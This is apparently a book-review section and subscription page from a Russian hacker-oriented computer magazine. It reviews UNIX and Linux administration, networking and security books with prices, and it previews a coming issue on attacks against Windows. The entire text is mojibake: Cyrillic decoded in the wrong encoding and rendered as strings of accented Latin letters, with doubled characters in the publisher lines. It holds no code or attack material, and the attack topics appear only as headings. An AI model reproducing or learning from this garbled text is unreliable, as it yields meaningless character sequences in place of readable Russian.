êîìïüþòåðû 08(47)
Îáíîâëåíèÿ äëÿ
Windows çà ìåñÿö

CONTENT:CONTENT:



ÊÎÍÔÈÃÓÐÈÐÎÂÀÍÈÅ 
È ÍÀÑÒÐÎÉÊÀ ÁÀÇ
ÄÀÍÍÛÕ ÍÀ ÏËÀÒÔÎÐÌÅ
SOLARIS 
È Â ÄÐÓÃÈÕ ÑÈÑÒÅÌÀÕ
UNIX

Åñëè òû ðàáîòàåøü ñ
ñèñòåìàìè áàç äàí-

íûõ Oracle, Sybase èëè
Infomix, òî ýòà êíèãà òåáå
ïðèãîäèòñÿ. Â íåé ïðèâå-
äåíû ïðàêòè÷åñêèå ñîâåòû
ïî îïðåäåëåíèþ ïàðàìåò-
ðîâ ñèñòåìû (â ïåðâóþ
î÷åðåäü êíèãà çàòî÷åíà
ïîä Solaris), ãðàìîòíîìó
êîíôèãóðèðîâàíèþ ÖÏ,
ïàìÿòè è îïòèìèçàöèè äàí-
íûõ. Âñå òåëîäâèæåíèÿ
ñíàáæåíû ðåàëüíûìè ïðè-
ìåðàìè è íàãëÿäíûìè ëèñ-
òèíãàìè. Ïîäðîáíî ðàñ-
ñìîòðåíà ðåàëèçàöèÿ ìî-
íèòîðèíãà: èíñòðóìåíòà-

ðèé, èíòåðâàëû ìîíèòî-
ðèíãà, ìîíèòîðèíã ïàìÿòè,
ìîíèòîðèíã äèñêîâ, ìîíè-
òîðèíã ñåòè, ìîíèòîðèíã
ÖÏ, ìîíèòîðèíã ïðîöåñ-
ñîâ, ìîíèòîðèíã ïðåðûâà-
íèé, ìîíèòîðèíã ñàìîé
ÑÓÁÄ. Âñå ýòî ïîìîæåò
ãðàìîòíî íàñòðîèòü
ñîáñòâåííóþ ÁÄ, îáåñïå-
÷èâ íàäåæíîñòü è âûñî-
êóþ ïðîèçâîäèòåëüíîñòü.

UNIX ÈÇÍÓÒÐÈ

Íàçâàíèå êíèãè îï-
ðàâäûâàåò åå ñîäåð-

æàíèå: ïîäðîáíî ðàññìàò-
ðèâàåòñÿ âíóòðåííåå óñò-
ðîéñòâî UNIX. Ðàññìîòðå-
íû âàæíåéøèå êîìïîíåí-
òû ÿäðà, ñðàâíèâàþòñÿ
ñòðóêòóðû â ðàçëè÷íûõ
âàðèàíòàõ UNIX. Îïèñàíû
è äàâíî èñïîëüçóåìûå
ñðåäñòâà (ìíîãîíèòèåâûå
ÿäðà, ìíîãîïðîöåññîðíûå
ñèñòåìû, ñèñòåìû ðåàëü-
íîãî âðåìåíè, ðàñïðåäå-
ëåííûå ôàéëîâûå ñèñòå-
ìû), è ñîâðåìåííûå ñðåä-
ñòâà, èñïîëüçóåìûå â

SVR4.x, Solaris, SunOS,
4.4BSD, Mach, OSF/1. Äîñ-
òàòî÷íî óïîìÿíóòü, ÷òî àâ-
òîð êíèãè ñàì ðàçðàáàòû-
âàë ïîäñèñòåìû ÿäðà íåñ-
êîëüêèõ âàðèàíòîâ UNIX è
÷èòàåò ëåêöèè î âíóòðåí-
íåì óñòðîéñòâå UNIX. 

UNIX: ÐÓÊÎÂÎÄÑÒÂÎ
ÑÈÑÒÅÌÍÎÃÎ
ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ

Â îäíîé êíèãå ñîá-
ðàíî ìíîæåñòâî

ïðàêòè÷åñêèõ ïðèåìîâ ðà-
áîòû ñ ðàçëè÷íûìè ðåñóð-
ñàìè UNIX. Óñëîâíî êíèãà
ðàçáèòà íà òðè ÷àñòè: îñ-

íîâû àäìèíèñòðèðîâàíèÿ
(ñ ÷åãî íà÷àòü, çàïóñê è
îñòàíîâ ñèñòåìû, ïðèâèëå-
ãèè, óïðàâëåíèå ïðîöåññà-
ìè, ôàéëîâàÿ ñèñòåìà,
ïîëüçîâàòåëè, ïîñëåäîâà-
òåëüíûå óñòðîéñòâà, ïåðè-
îäè÷åñêèå ïðîöåññû, ðåçå-
ðâíîå êîïèðîâàíèå, ëîãè,
äðàéâåðà), ðàáîòà â ñåòÿõ
(ñåòè TCP/IP, ìàðøðóòèçà-
öèÿ, ñåòåâûå àïïàðàòíûå
ñðåäñòâà, ñèñòåìà äîìåí-
íûõ èìåí, ñåòåâàÿ ôàéëî-
âàÿ ñèñòåìà, ïî÷òà, áåçî-
ïàñíîñòü, web-õîñòèíã) è
ðàçíûå æèçíåííûå ñèòóà-
öèè, êîòîðûå ÷àñòî âñòðå-
÷àþòñÿ íà ïðàêòèêå (ïå-
÷àòü, àíàëèç ïðîèçâîäè-
òåëüíîñòè, âçàèìîäåé-
ñòâèå ñ Windows, ïîëèòèêà
àäìèíèñòðèðîâàíèÿ, ïðî-
öåññû-äåìîíû). Èçëîæåí-
íûé ìàòåðèàë êàñàåòñÿ ÷å-
òûðåõ ñèñòåì: Red Hat
Linux, Solaris, HP-UX è
FreeBSD.

LINUX IP STACKS Â
ÊÎÌÌÅÍÒÀÐÈßÕ 

Êíèãà ïîñâÿùåíà îð-
ãàíèçàöèè è ôóíêöè-

îíèðîâàíèþ èñõîäíîãî êî-
äà ÿäðà Linux ñ óïîðîì íà
ðåàëèçàöèþ ñòåêà IP-ïðî-
òîêîëîâ, âêëþ÷àÿ TCP/IP,
ICMP è UDP. Ïîäðîáíàÿ
èíôîðìàöèÿ ïî ïðîãðàì-
ìíîìó êîäó ñåìåéñòâà ïðî-
òîêîëîâ TCP/IP. Äåòàëè
ðåàëèçàöèè êàæäîãî ïðî-
òîêîëà, ñîîòâåòñòâèå ìåæ-
äó ñîäåðæèìûì èñõîäíîãî
êîäà ÿäðà è äîêóìåíòàìè ñ
ðåêîìåíäàöèÿìè ïî êîíê-
ðåòíîé ðåàëèçàöèè TCP/IP
(RFC - Request for
Comment). Äîïîëíèòåëüíî
óêàçàíî, êàê ìîæíî óëó÷-

»
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Êíèæêè æèâüåì íàì ïðå-
äîñòàâèë áóêèíèñòè÷åñ-
êèé èíòåðíåò-ìàãàçèí
"OS-Êíèãà". Âñå îïèñàí-
íûå êíèãè òû ìîæåøü
ïðèîáðåñòè ïî óêàçàííûì
öåíàì ó íèõ íà ñàéòå -
www.osbook.ru. Êíèã òàì
çíà÷èòåëüíî áîëüøå, ÷åì
â íàøåì îáçîðå :).

»

»

»

ÑÑÏÏáá..:: ÏÏèèòòååðð
2003
Âàõàëèÿ Þ.
844 ñòðàíèöû

Ðàçóìíàÿ öåíà: 415 ðóáëåé

ÑÑÏÏáá..:: ÎÎÎÎÎÎ ""ÄÄèèààÑÑîîôôòòÞÞÏÏ""
2003
Ïýêåð Àëàí Í.
512 ñòðàíèö

Ðàçóìíàÿ öåíà: 520 ðóáëåé

ÑÑÏÏáá..:: ÏÏèèòòååðð
2004
Íåìåò Ý.
925 ñòðàíèö

Ðàçóìíàÿ öåíà: 325 ðóáëåé

Êàðîëèê Àíäðåé (andrusha@sl.ru)

ÎÁÇÎÐ ÈÍÒÅÐÅÑÍÎÉ ËÈÒÅÐÀÒÓÐÛ

BOOKS
Ñ ïîÿâëåíèåì èíòåðíåòà ïîèñê èíôîðìàöèè çíà÷èòåëüíî îáëåã÷èëñÿ. Ìíîãîå ìîæíî íàéòè, ìèíóÿ êíèãè è áèáëèîòåêè.

Íî, ÷òî íè ãîâîðè, áàçîâûå âåùè óäîáíåå âîñïðèíèìàòü â ïå÷àòíîì âèäå, ê òîìó æå, íåêîòîðîé èíôîðìàöèè â
èíåòå ïðîñòî íåò.
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øèòü ôóíêöèè, ðàñøè-
ðèòü, èñïðàâèòü èëè äîáà-
âèòü. Ñîäåðæèìîå êíèãè
îðèåíòèðîâàíî íà ïðîäâè-
íóòûõ àäìèíèñòðàòîðîâ
ñèñòåì áåçîïàñíîñòè ñå-
òåé. Íà ïðèëàãàþùåìñÿ
äèñêå òû íàéäåøü èñõîä-
íûé êîä ÿäðà Linux, äîêó-
ìåíòû RFC è íàáîð ïîëåç-
íûõ ñöåíàðèåâ.

LINUX

Óñòàíîâêà, íàñòðîé-
êà è àäìèíèñòðèðî-

âàíèå Linux. Îñîáåííîñòè
è âîçìîæíîñòè, èäåîëîãèÿ
ôàéëîâîé ñèñòåìû, èíñ-
òàëëÿöèÿ è îñíîâíûå êî-
ìàíäû, êîìïèëÿöèÿ ÿäðà è
íàñòðîéêà ñåðâèñîâ. Ïîä-
ðîáíî îïèñàíû ðàçëè÷íûå
ñåðâåðà è ñëóæáû: ýëåêò-
ðîííàÿ ïî÷òà, WWW, FTP,
INN, ïðîêñè, NTP è îáåñïå-
÷åíèå èõ áåçîïàñíîñòè.
Óêàçàíû ñïîñîáû íàñòðîé-
êè ðàáî÷èõ ñòàíöèé, óñòà-
íîâêà è íàñòðîéêà ãðàôè-

÷åñêîé ñðåäû òèïà X
Window, êîíôèãóðèðîâà-
íèå ïðèíòåðîâ, ñêàíåðîâ,
ÊÏÊ, ìîáèëüíèêîâ è ïðî-
÷èõ âíåøíèõ äåâàéñîâ.

UNIX: ÏÐÀÊÒÈ×ÅÑÊÎÅ
ÏÎÑÎÁÈÅ
ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ

Êíèãà äëÿ òåõ, êòî
òîëüêî íàìûëèëñÿ

ñòàòü àäìèíèñòðàòîðîì
UNIX. Òî åñòü çíàíèÿ äàí-
íîé ñèñòåìû íå îáÿçàòåëü-
íû, äîñòàòî÷íî áûòü â êóð-
ñå òîãî, êàê ðàáîòàåò ëþ-
áàÿ ìíîãîïîëüçîâàòåëüñ-
êàÿ ñèñòåìà (Novell
Netware, Windows NT èëè
VAX VMS). Ñ ïîìîùüþ
èíñòðóêöèé â êíèãå ìîæíî
óñòàíîâèòü è íàñòðîèòü
ñèñòåìó. Îñíîâíîå âíèìà-
íèå óäåëåíî FreeBSD è
Linux, òàê êàê îíè íàèáî-
ëåå ïîïóëÿðíû. Ðàññìîò-
ðåíû óñòàíîâêà "ñòàíäàðò-
íîãî" ñåðâåðà, íàñòðîéêà
POP3- è IMAP-ñåðâåðîâ,
óñòàíîâêà è íàñòðîéêà
ÑÓÁÄ, àóòåíòèôèêàöèÿ ñ
ïîìîùüþ PAM-ìîäóëåé è
ðóñèôèêàöèÿ. Òå, êòî óæå
ðàáîòàåò ñ UNIX, ìîãóò èñ-
ïîëüçîâàòü êíèãó êàê
ñïðàâî÷íèê.

SAMBA: ÈÍÒÅÃÐÀÖÈß
LINUX/UNIX-
ÊÎÌÏÜÞÒÅÐÎÂ Â ÑÅÒÈ
WINDOWS 

×àñòî íåîáõîäèìî
âûáèðàòü ìåæäó

Linux è Windows, íî íåêî-
òîðûå íå õîòÿò èëè íå ìî-
ãóò îòêàçàòüñÿ îò îäíîé
ñèñòåìû â ïîëüçó äðóãîé.
Äëÿ ýòîãî ñóùåñòâóåò
Samba - êîíòàêòíàÿ ñðåäà
ìåæäó Microsoft è Linux.
Samba ïîçâîëÿåò èñïîëü-

çîâàòü ôàéëû è ïðèíòåðû
Linux/UNIX-ñåðâåðà ïîä
Windows 9x/NT, íåïîñðåä-
ñòâåííî óïðàâëÿòü ïîëü-
çîâàòåëÿìè NT, îïòèìàëü-
íî êîìáèíèðîâàòü áåçî-
ïàñíîñòü äàííûõ è ñòà-
áèëüíóþ ðàáîòó. Îáðàçíî
ãîâîðÿ, Samba ïðèäàåò
UNIX-ñèñòåìå ñâîéñòâà ñå-
òè NT. Îïèñàíû âîçìîæ-
íîñòè Samba, â òîì ÷èñëå
SWAT, ïîääåðæêà 64-áèò-
íûõ ôóíêöèé, àâòîìàòè-
÷åñêàÿ êîíôèãóðàöèÿ ïîä
êîíêðåòíóþ âåðñèþ UNIX
è ìíîãîå äðóãîå.

UNIX: ÂÇÀÈÌÎÄÅÉÑÒÂÈÅ
ÏÐÎÖÅÑÑÎÂ 

Åñëè èíòåðåñóåøüñÿ
ðàçðàáîòêîé ñëîæ-

íûõ ïðîãðàìì äëÿ UNIX, òî
òåáå íå îáîéòèñü áåç
ìåæïðîöåññîðíîãî âçàè-
ìîäåéñòâèÿ. Â êíèãå ðàñ-
ñêàçûâàåòñÿ îá îäíîé èç
åãî ôîðì - IPC. Îïèñûâà-
þòñÿ ÷åòûðå âîçìîæíîñòè
ðàçäåëåíèÿ ðåøàåìûõ çà-
äà÷ ìåæäó íåñêîëüêèìè

ïðîöåññàìè èëè ïîòîêàìè
îäíîãî ïðîöåññà: ïåðåäà-
÷à ñîîáùåíèé, ñèíõðîíè-
çàöèÿ, ðàçäåëÿåìàÿ ïà-
ìÿòü è óäàëåííûé âûçîâ
ïðîöåäóð. Ðàçîáðàíû òå-
ìû: êàíàëû è FIFO, î÷åðå-
äè ñîîáùåíèé Posix è
System V, ñåìàôîðû è óñ-
ëîâíûå ïåðåìåííûå, áëî-
êèðîâêè ÷òåíèÿ-çàïèñè,
ðàçäåëÿåìàÿ ïàìÿòü Posix
è System V, èçìåðåíèå
ïðîèçâîäèòåëüíîñòè IPC è
ìíîãîå äðóãîå.

ÑÅÊÐÅÒÛ UNIX

Ñîòíè ïîëåçíûõ ñåê-
ðåòîâ UNIX è ïðàêòè-

÷åñêèõ ñîâåòîâ ïî èõ ïðè-
ìåíåíèþ. Êíèãà ñîñòîèò èç
ìíîæåñòâà íåáîëüøèõ
ãëàâ, â êîòîðûõ îïèñàíû
íþàíñû ðàáîòû è àäìèíè-
ñòðèðîâàíèÿ UNIX, îò
ïðîñòîãî (óïðàâëåíèå
ó÷åòíûìè çàïèñÿìè, ðàáî-
òà â îáîëî÷êàõ, íàâèãàöèÿ
ïî ôàéëîâîé ñèñòåìå) äî
áîëåå ñëîæíîãî (ñåòåâûå
âîçìîæíîñòè UNIX, ñèñ-
òåìíîå àäìèíèñòðèðîâà-
íèå, ãðàôè÷åñêèå âîçìîæ-
íîñòè). Îñîáîå âíèìàíèå
óäåëåíî âîïðîñàì ðàçðà-
áîòêè ñîáñòâåííûõ ïðèëî-
æåíèé äëÿ UNIX. Ñîâåòû
ýêñïåðòîâ, ìåòîäèêè è ãî-
òîâûå ðåøåíèÿ êîíêðåò-
íûõ çàäà÷.

ÑÅÒÅÂÎÅ
ÀÄÌÈÍÈÑÒÐÈÐÎÂÀÍÈÅ
LINUX

Ïðàêòè÷åñêîå ðóêî-
âîäñòâî, êàê ïîäíÿòü

è íàñòðîèòü ëîêàëüíóþ
ñåòü ïîä óïðàâëåíèåì
Linux. Ïîäðîáíîå îïèñà-
íèå ïðîöåññîâ, ïðîèñõîäÿ-
ùèõ â ñåòè, è ïðàêòè÷åñ-

»

»

ÊÊ..:: ÈÈççääààòòååëëüüññòòââîî ""ÄÄèèààÑÑîîôôòò""
2001
Ñýò÷ýëë Ñòåôàí Ò.
288 ñòðàíèö

Ðàçóìíàÿ öåíà: 216 ðóáëåé

ÑÑÏÏáá..:: ÑÑèèììââîîëë-ÏÏëëþþññ
2003
Òîð÷èíñêèé Ô.
352 ñòðàíèöû

Ðàçóìíàÿ öåíà: 174 ðóáëÿ

ÌÌíí..:: ÍÍîîââîîåå ççííààííèèåå
2003
Êþíåëü Éåíö
399 ñòðàíèö

Ðàçóìíàÿ öåíà: 185 ðóáëåé

»

ÑÑÏÏáá..:: ÏÏèèòòååðð
2003
Ñòèâåíñ Ó.
576 ñòðàíèö

Ðàçóìíàÿ öåíà: 260 ðóáëåé

»

»

ÌÌ..:: ÈÈççääààòòååëëüüññêêèèéé ääîîìì ""ÂÂèèëëüüÿÿììññ""
2001
Àðìñòðîíã (ìë.) Äæåéìñ
1072 ñòðàíèöû

Ðàçóìíàÿ öåíà: 306 ðóáëåé

ÑÑÏÏáá..:: ÁÁÕÕÂÂ-ÏÏååòòååððááóóððãã
2004
Ñòàõíîâ À.
912 ñòðàíèö

Ðàçóìíàÿ öåíà: 290 ðóáëåé

»



êèå ïðèìåðû, êîòîðûå íå
ðàç ïðèãîäÿòñÿ â ñåòåâîé
æèçíè. Îò ïåðâîíà÷àëüíîé
íàñòðîéêè äî íàäåæíîé
çàùèòû îò àòàê èçâíå.
Ðàññìàòðèâàþòñÿ ñåòåâûå
ìîäåëè, ïðîòîêîëû, àäðå-
ñà, ñëóæáû, êîíôèãóðèðî-
âàíèå ñåòåâûõ èíòåðôåé-
ñîâ, íàñòðîéêà ñåðâåðîâ
FTP, Proxy, INN, Apache,
Samba, Mars è ò.ä. Ñåòåâûå
ïðèíòåðû, øëþç â èíåò,
íàñòðîéêà ôàåðâîëà, ó÷åò
òðàôèêà è ò.ï. Ïðèâåäåíî
ìíîæåñòâî ïðîãðàìì äëÿ
îáñëóæèâàíèÿ ñåòè è åå
áåçîïàñíîñòè.

ÀÄÌÈÍÈÑÒÐÈÐÎÂÀÍÈÅ
APACHE 

Íå ñåêðåò, ÷òî
Apache - íàèáîëåå

ïîïóëÿðíûé web-ñåðâåð.
Åãî õàðàêòåðèçóþò âûñî-
êàÿ ïðîèçâîäèòåëüíîñòü,
íàäåæíîñòü, áåçîïàñíîñòü
è áåñïëàòíîå ðàñïðîñòðà-

íåíèå. Ïîýòîìó áûëî áû
íåïëîõî âëàäåòü íàâûêà-
ìè åæåäíåâíîé ðàáîòû ïî
àäìèíèñòðèðîâàíèþ
Apache, åñëè òû õî÷åøü
ðàáîòàòü â äàëüíåéøåì
àäìèíèñòðàòîðîì. Â êíèãå
ïðèâåäåíû ïîøàãîâûå
èíñòðóêöèè ïî îáåñïå÷å-
íèþ áåçîïàñíîñòè, ïðîã-
ðàììèðîâàíèþ web-ñåðâå-
ðà è ñîçäàíèþ ìíîãîäî-
ìåííûõ ñàéòîâ íà îäíîì
ñåðâåðå. Îïèñàíû ñðåä-
ñòâà, íåîáõîäèìûå äëÿ
ñîçäàíèÿ, çàïóñêà è ïîä-
äåðæêè ñåðâåðà Apache.
Äëÿ ïðîäâèíóòûõ êíèãà
ïîñëóæèò îòëè÷íûì íàñ-
òîëüíûì ñïðàâî÷íèêîì.

UNIX: ÏÎËÅÇÍÛÅ ÑÎÂÅÒÛ
ÄËß ÑÈÑÒÅÌÍÛÕ
ÀÄÌÈÍÈÑÒÐÀÒÎÐÎÂ 

Êíèãà äëÿ ïîëüçîâà-
òåëåé, çíàêîìûõ ñ

îñíîâíûìè ôóíêöèÿìè è
îñîáåííîñòÿìè UNIX. Ïî-
êàçàíî, êàê ìîæíî àâòîìà-
òèçèðîâàòü ðóòèííóþ ðà-
áîòó è ñîçäàòü êîìàíäíûå
ôàéëû, èñïîëüçóÿ êîòî-
ðûå òû çíà÷èòåëüíî ïîâû-
ñèøü ïðîèçâîäèòåëüíîñòü.
Ðàññìîòðåííûå ïðèåìû
àâòîð îïðîáîâàë â ðàçíûõ
âåðñèÿõ ñèñòåìû, è ìîæíî
âîñïîëüçîâàòüñÿ åãî íàðà-
áîòêàìè. Áîëåå ïîäðîáíî
ðàññìîòðåíû: àäìèíèñòðè-
ðîâàíèå ñåòè, áåçîïàñ-
íîñòü ÎÑ, íàñòðîéêà è ðà-
áîòà ñ ó÷åòíûìè çàïèñÿìè,
ýìóëÿöèÿ òåðìèíàëîâ è
ìíîãîå äðóãîå.

LINUX ÄËß ÈÍÒÅÐÍÅÒÀ
È ÈÍÒÐÀÍÅÒÀ 

Â êíèãå ðàññìîòðåíû
ðàçíûå ñëó÷àè ïðè-

ìåíåíèÿ (èíòåðíåò è èíò-
ðàíåò) è äàíî ïîäðîáíîå
îïèñàíèå íåîáõîäèìîé
êîíôèãóðàöèè ñèñòåìû.
Ðàññìîòðåíû âîïðîñû èíñ-
òàëëÿöèè è íàñòðîéêè ñèñ-
òåìû, âîïðîñû áåçîïàñ-
íîñòè è èñïîëüçîâàíèå èí-
òåðíåò-ñåðâèñîâ. Óäåëåíî
âíèìàíèå ñïåöèôè÷íîìó
ïðèìåíåíèþ: â êà÷åñòâå
àâòîíîìíîãî êîìïüþòåðà è
â êà÷åñòâå ñåðâåðà (ê ïðè-
ìåðó, ÷òîáû ïðåäîñòàâ-
ëÿòü óñëóãè ïðîâàéäåðà).

ÌÀÐØÐÓÒÈÇÀÖÈß
Â LINUX 

Îñíîâíàÿ çàäà÷à
êíèãè - ïîìî÷ü ãðà-

ìîòíî íàñòðîèòü ïîäñèñòå-
ìó ìàðøðóòèçàöèè â Linux.
Äëÿ ýòîãî èçëîæåíà òåî-
ðèÿ ìàðøðóòèçàöèè, îïè-
ñàíû îñíîâíûå ïðîòîêîëû
è óòèëèòû, èìåþùèåñÿ â
ðàñïîðÿæåíèè, óêàçàíû
ýôôåêòèâíûå ñïîñîáû èõ

ïðèìåíåíèÿ íà ïðàêòèêå.
Òû íàó÷èøüñÿ êîíôèãóðè-
ðîâàòü äåìîí ìàðøðóòèçà-
öèè, îñâîèøü ïðèíöèïû
áåñêëàññîâîé àäðåñàöèè â
ñòàíäàðòå IPv4, óçíàåøü
ìíîæåñòâî ñåòåâûõ óòèëèò
Linux, èíñòðóìåíòû àíàëè-
çà ñåòåâîãî òðàôèêà, ïîç-
íàêîìèøüñÿ ñî ñðåäñòâà-
ìè çàùèòû ñåòåé, èìåþ-
ùèõñÿ â Linux, è äð.

ÌÀÊÑÈÌÀËÜÍÀß
ÁÅÇÎÏÀÑÍÎÑÒÜ Â LINUX 

Âïåðâûå âèæó êíèãó,
ïîäïèñàííóþ àíî-

íèìíûì àâòîðîì :). Êàê íà-
ïèñàíî íà îáëîæêå, àâòîð
- îïûòíûé êîìïüþòåðíûé
õàêåð, îñóæäåííûé çà ñå-
ðèþ ôèíàíñîâûõ ïðåñòóï-
ëåíèé, ñîâåðøåííûõ ïîñ-
ëå ðàçðàáîòêè ìåòîäèêè
îáõîäà çàùèòû áàíêîìà-
òîâ. Ñðîê, âèäèìî, ïîâëè-
ÿë íà ÷åëîâåêà :), è òå-
ïåðü îí ïèøåò êíèæêè. Â
äàííîé êíèãå îïèñàíû äû-
ðû â çàùèòå Linux-ñèñòå-
ìû ïðè ñòàíäàðòíîé óñòà-
íîâêå, ðàññêàçàíî, ê ÷åìó
îíè ìîãóò ïðèâåñòè ïðè
ïîäêëþ÷åíèè êîìïüþòåðà
ê ñåòè è êàê èõ ïðèêðûòü.
Ïðåäëàãàåìûå ðåöåïòû
ïîçâîëÿò òåáå äîñòàòî÷íî
áûñòðî ïîâûñèòü áåçîïàñ-
íîñòü êðèòè÷åñêè âàæíûõ
äëÿ ðàáîòû ïðèëîæåíèé è
ãàðàíòèðîâàòü áåçîïàñ-
íóþ ðàáîòó îñíîâíûõ
ñëóæá èíåòà. Îïèñàíû
ïðîãðàììû è óòèëèòû äëÿ
âûÿâëåíèÿ è óñòðàíåíèÿ
ñëàáûõ ìåñò, à òàêæå
èíñòðóìåíòàðèé âçëîìùè-
êîâ, ñ ïîìîùüþ êîòîðîãî
òû ìîæåøü ñàì ïðîâåðèòü
ñâîþ ñòîéêîñòü ê âòîðæå-
íèÿì èçâíå. E
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ÌÌ..:: ÄÄÌÌÊÊ ÏÏððååññññ
2002
Óýéíãðîó Ê. 
416 ñòðàíèö

Ðàçóìíàÿ öåíà: 115 ðóáëåé

»

»

ÌÌíí..:: ÍÍîîââîîåå ççííààííèèåå
2002
Õîëüö Õ.
464 ñòðàíèöû

Ðàçóìíàÿ öåíà: 197 ðóáëåé

ÊÊ..:: ÈÈççääààòòååëëüüññòòââîî ""ÄÄèèààÑÑîîôôòò""
2000
Àíîíèìíûé àâòîð
400 ñòðàíèö

Ðàçóìíàÿ öåíà: 249 ðóáëåé

ÌÌ..:: ÈÈççääààòòååëëüüññòòââîî ""ËËîîððèè""
2002
Ìàðê Àðíîëüä
418 ñòðàíèö

Ðàçóìíàÿ öåíà: 208 ðóáëåé

ÌÌ..:: ÈÈççääààòòååëëüüññêêèèéé ääîîìì ""ÂÂèèëëüüÿÿììññ""
2002
Áðîêìàéåð Äæî
240 ñòðàíèö

Ðàçóìíàÿ öåíà: 129 ðóáëåé

»

ÑÑÏÏáá..:: ÁÁÕÕÂÂ-ÏÏååòòååððááóóððãã
2004
Ñòàõàíîâ À.
480 ñòðàíèö

Ðàçóìíàÿ öåíà: 173 ðóáëÿ



ÀÒÀÊÀ ÍÀ
WINDOWS
×èòàé â ñëåäóþùåì íîìåðå Cïåöà:

Àðõèòåêòóðà: XP vs 9x
Ïàðîëè è ïðèâåëåãèè
Ñåòåâûå ïðîòîêîëû è ñëóæáû
ActiveX ïîä óäàðîì
Èìïåðñîíàëèçàöèÿ
Àòàêà íà NTFS
Óäàëåííûå àòàêè
Èãðà â ïðÿòêè: àíòèâèðóñû, firewall
×åðâè
Âèðóñíûå òåõíîëîãèè
Boot è MBR
Îáíàðóæåíèå çàðàçû
Ýìóëÿòîðû
Ëîãè

À òàêæå:
Äåéñòâåííûå ìåòîäû àòòàê,
êàê çàùèòèòü "ãîëóþ" XP è
åùå 20 ïðè÷èí çàäóìàòüñÿ î
áåçîïàñíîñòè Windows!

ÑÊÎÐÎ Â ÑÏÅÖÅ:

Èäåàëüíûé êîìïüþòåð
Ìèôû è ðåàëüíîñòü. Ëó÷øèé êîìïüþòåð äëÿ
ãåéìåðà, õàêåðà, ïðîãðàììåðà, äèçàéíåðà.
Ëóøåå æåëåçî è ñîôò.

À
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Ñ

ÍÎÂÎÃÎÄÍÈÉ

ÍÎÌÅÐ

ÂÅÑÜ

ÑÎÔÒ Í
À

CD!



ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ ÍÀ ÊÎÌÏËÅÊÒ «ÕÀÊÅÐ ÑÏÅÖ»+CD + «ÆÅËÅÇÎ»+CD

189ð êîìïëåêò íà 1 ìåñÿö (âûãîäà 10%)

1071ð êîìïëåêò íà 6 ìåñÿöåâ (âûãîäà 15%)

2016ð êîìïëåêò íà 12 ìåñÿöåâ (âûãîäà 20%)

115ð çà íîìåð

690ð çà 6 ìåñÿöåâ

1242ð çà 12 ìåñÿöåâ (âûãîäà 10%)

ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ

ÂÛÃÎÄÀ
Öåíà ïîäïèñêè íà 20% íèæå, ÷åì â ðîçíè÷íîé ïðîäàæå! 
Äîñòàâêà çà ñ÷åò èçäàòåëÿ
Ðàçûãðûâàþòñÿ ïðèçû è ïîäàðêè äëÿ ïîäïèñ÷èêîâ
Äîïîëíèòåëüíûå ñêèäêè ïðè  çàêàçå íà äëèòåëüíûé ñðîê 

ÃÀÐÀÍÒÈß
Âû ãàðàíòèðîâàííî ïîëó÷èòå âñå íîìåðà æóðíàëà 
Öåíà ñòàáèëüíà íà âåñü ïåðèîä çàêàçà, äàæå ïðè ïîâûøåíèè öåíû â ðîçíè÷íîé ïðîäàæå. 
Åäèíàÿ öåíà ïî âñåé Ðîññèè

ÑÅÐÂÈÑ
Çàêàç óäîáíî îïëàòèòü ÷åðåç ëþáîå îòäåëåíèå áàíêà.
Çàêàç îôîðìëÿåòñÿ ñ ëþáîãî ìåñÿöà.
Çàêàç îñóùåñòâëÿåòñÿ çàêàçíîé áàíäåðîëüþ èëè ñ êóðüåðîì
Çàêàç ìîæíî ñäåëàòü íà ëþáîå êîëè÷åñòâî ìåñÿöåâ

ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ ÍÀ «ÕÀÊÅÐ ÑÏÅÖ» + CD

Çàêàæè æóðíàë â ðåäàêöèè è ñýêîíîìü äåíüãè

Áåñïëàòíûé 

òåëåôîí ïî Ðîññèè

8-800-200-3-999

ïî âñåì âîïðîñàì

ïî ïîäïèñêå



41800 Õàêåð Ñïåö + CD 16764 Õàêåð Ñïåö + CD 41800 Õàêåð Ñïåö + CD

Òåë.: (095) 974-11-11     Òåë.: (095) 974-21-31      Òåë.: (095) 974-11-11

Ñ 1 ñåíòÿáðÿ ïî 30 íîÿáðÿ âû òàêæå ìîæåòå îôîðìèòü ïî÷òîâóþ ïîäïèñêó
ïî êàòàëîãàì ïîäïèñíûõ àãåíòñòâ âî âñåõ îòäåëåíèÿõ ñâÿçè Ðîññèè. Äëÿ
îôîðìëåíèÿ ïîäïèñêè íåîáõîäèìî çíàòü ïîäïèñíîé èíäåêñ æóðíàëà èëè
íàéòè åãî â êàòàëîãå ïî íàçâàíèþ.

1. Çàïîëíèòü êóïîí è êâèòàíöèþ
2. Ïåðå÷èñëèòü ñòîèìîñòü ïîäïèñêè ÷åðåç Ñáåðáàíê 
3. Îáÿçàòåëüíî ïðèñëàòü â ðåäàêöèþ êîïèþ îïëà÷åííîé êâèòàíöèè ñ ÷åòêî çàïîëíåííûì êóïîíîì ëþáûì èç
ïåðå÷èñëåííûõ ñïîñîáîâ: 

ïî ýëåêòðîííîé ïî÷òå: subsñribe_xs@gameland.ru; 
ïî ôàêñó: 924-9694;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, ñòðîåíèå 2, ÎÎÎ «Ãåéì Ëýíä», Îòäåë ïîäïèñêè.

Ïî âñåì âîïðîñàì ïî ïîäïèñêå ìîæíî çâîíèòü ïî áåñïëàòíîìó òåëåôîíó 8-800-200-3-999.

* Êóðüåðñêàÿ äîñòàâêà îñóùåñòâëÿåòñÿ â òå÷åíèè 3õ äíåé ïîñëå âûõîäà æóðíàëà â ïðîäàæó òîëüêî ïî Ìîñêâå íà
àäðåñ îôèñà, äëÿ îôîðìëåíèÿ äîñòàâêè êóðüåðîì óêàæèòå àäðåñ è íàçâàíèå ôèðìû â ïîäïèñíîì êóïîíå.

Ïî÷òîâàÿ ïîäïèñêà Ïîäïèñêà äëÿ þðèäè÷åñêèõ ëèö

ÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ?

Ïðîøó îôîðìèòü ïîäïèñêó:

www.interpochta.ru
Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 

òåë.: 500-00-60, 
e-mail: inter-post@sovintel.ru

